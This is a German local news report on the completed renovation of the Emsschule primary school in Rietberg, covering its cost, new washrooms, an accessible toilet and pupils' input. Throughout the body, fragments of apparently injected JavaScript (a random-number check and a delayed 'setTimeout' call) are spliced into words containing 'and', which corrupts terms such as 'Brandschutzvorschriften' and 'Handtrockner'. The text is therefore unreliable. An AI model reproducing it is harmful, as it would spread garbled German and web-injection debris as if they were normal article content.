Rietberger Grundschule erstrahlt nach Renovierung in neuem Glanz

Die Emsschule in Rietberg hat ein neues Gesicht bekommen. Stufenweise ist die städtische Gemeinschaftsgrundschule in den vergangenen Jahren saniert und renoviert worden. Jetzt sind die Umbaumaßnahmen abgeschlossen. Mehr als eine halbe Million Euro hat die Stadt investiert, damit sich die rund 360 Mädchen und Jungen dort wohl fühlen. Und das ist gelungen.

Weil die katholische Grundschule und die Gemeinschaftsgrundschule in Rietberg – seit 34 Jahren teilen sich beide Schulen ein Schulgebäude am Rinnerforth – 2009/10 zusammengeführt wurden, haben sich auch die räumlichen Anforderungen geändert. Beispielsweise ist nur noch ein Büro für eine Leiterin nötig, weniger Toiletten sind erforderlich, und stattdessen wurde erstmals eine behindertengerechte Toilette geschaffen.

In allen Klassenräumen der Rietberger Grundschule sind inzwischen die Bodenbeläge ausgetauscht worden. Dringend erforderlich war die Sanierung gemäß den Brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andschutzvorschriften, die sich über die vergangenen vier Jahre erstreckt und allein rund 290.000 Euro verschlungen hat. Zuletzt war die Schulverwaltung an der Reihe, die vom Ober- ins Untergeschoss umgezogen ist. Rietbergs Bürgermeister Andreas Sunder und Schulamtsleiter Dominik Bartels haben sich jetzt selbst ein Bild von der abgeschlossenen Baumaßnahme gemacht. Rund 620.000 Euro sind in den vergangenen fünf Jahren in die Emsschule geflossen.

Schon kurz nach seinem Amtsantritt vor zwei Jahren hatte Bürgermeister Sunder alle städtischen Rietberger Schulen besucht. „Gerade die Emsschule hatte eine Sanierung mehr als nötig“, erinnert sich Sunder. „Jetzt habe ich den direkten Vorher-Nachher-Vergleich und freue mich, dass die Schule eine deutliche Verbesserung erfährt.“

Schüler der Rietberger Emsschule durften mitgestalten

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Auch die neu gestalteten WC-Räume in der Rietberger Grundschule erstrahlen nach der Renovierung im neuen Glanz. (Foto: © Stadt Rietberg)

Während an einer Stelle die WCs abgebaut wurden, sind sie an andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anderer Stelle aufwendig saniert worden. Die nicht mehr benötigten Sanitäranlagen wurden zu Archiv und Kopierraum umgestaltet. Auch ein zusätzlicher Arbeitsraum, der für Kleingruppenarbeiten bereits rege genutzt wird, ist dort entstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anden. So wurde der ehemalige Kopierraum zu einem behindertengerechten WC, welches bislang fehlte.

Der verbliebene Toilettenbereich der Rietberger Grundschule ist vergrößert und umfangreich verändert worden; alles ist nun viel heller und freundlicher. „Die Schüler fühlen sich richtig wohl und legen selbst viel Wert auf Ordnung und Sauberkeit“, erklärt Schulleiterin Annemarie Schulze. „Die Kinder haben eigenständig Regeln für das Verhalten in den sanitären Anlagen aufgestellt, die nun für alle sichtbar vor der Tür an der Wandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hängen. „In die Raumgestaltung waren die Schüler mit eingebunden“, erklärt Andreas Remmert vom Zentralen Immobilienmanagement der Stadt. „Sie haben sich für elektrische Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andtrockner stark gemacht, um nicht mit Papierhandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andtüchern viel Müll zu produzieren.“

Selbst bei der Höhe der Waschbecken haben die Schüler in der Grundschule Rietberg mitgeredet und diskutiert, welche Pflanzen wohl am besten die Raumluft verbessern würden. „Wochenlang schon sind die neuen Toiletten bei uns an der Schule das Thema.“

Das Foto oben zeigt Dominik Bartels, Andreas Remmert, Annemarie Schulze und Rietbergs Bürgermeister Andreas Sunder (von links) bei der Besichtigung des neu geschaffenen Behinderten-WC in der Rietberger Grundschule nach der Renovierung. (Fotos: © Stadt Rietberg)